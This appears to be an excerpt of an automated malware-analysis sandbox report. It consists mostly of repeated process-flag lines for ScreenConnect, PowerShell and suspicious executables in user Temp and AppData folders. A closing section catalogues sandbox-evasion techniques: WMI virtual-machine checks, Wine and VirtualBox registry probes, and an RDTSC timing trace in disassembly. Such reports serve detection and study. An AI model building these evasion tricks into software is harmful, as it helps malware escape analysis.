Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe

API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000002.2802574192.0000000003260000.00000004.00001000.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000002.2801258849.0000000000C2C000.00000004.00000001.01000000.0000001F.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000002.2802574192.0000000003260000.00000004.00001000.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000002.2801258849.0000000000C2C000.00000004.00000001.01000000.0000001F.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34F4EF second address: 34ED37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FB12C899C40h 0x0000000e push dword ptr [ebp+122D06F1h] 0x00000014 pushad 0x00000015 mov eax, dword ptr [ebp+122D2CE5h] 0x0000001b pushad 0x0000001c cld 0x0000001d popad 0x0000001e popad 0x0000001f call dword ptr [ebp+122D1B1Ch] 0x00000025 pushad 0x00000026 jmp 00007FB12C899C48h 0x0000002b xor eax, eax 0x0000002d jnl 00007FB12C899C3Ch 0x00000033 pushad 0x00000034 mov bx, si 0x00000037 or dword ptr [ebp+122D1D55h], edx 0x0000003d popad 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 mov dword ptr [ebp+122D1846h], edx 0x00000048 mov dword ptr [ebp+122D2E75h], eax 0x0000004e sub dword ptr [ebp+122D1D55h], eax 0x00000054 mov esi, 0000003Ch 0x00000059 pushad 0x0000005a jmp 00007FB12C899C41h 0x0000005f mov ecx, dword ptr [ebp+122D2E7Dh] 0x00000065 popad 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a pushad 0x0000006b movsx esi, di 0x0000006e jnl 00007FB12C899C37h 0x00000074 popad 0x00000075 lodsw 0x00000077 jno 00007FB12C899C42h 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 sub dword ptr [ebp+122D1846h], esi 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b mov dword ptr [ebp+122D1D6Eh], esi 0x00000091 nop 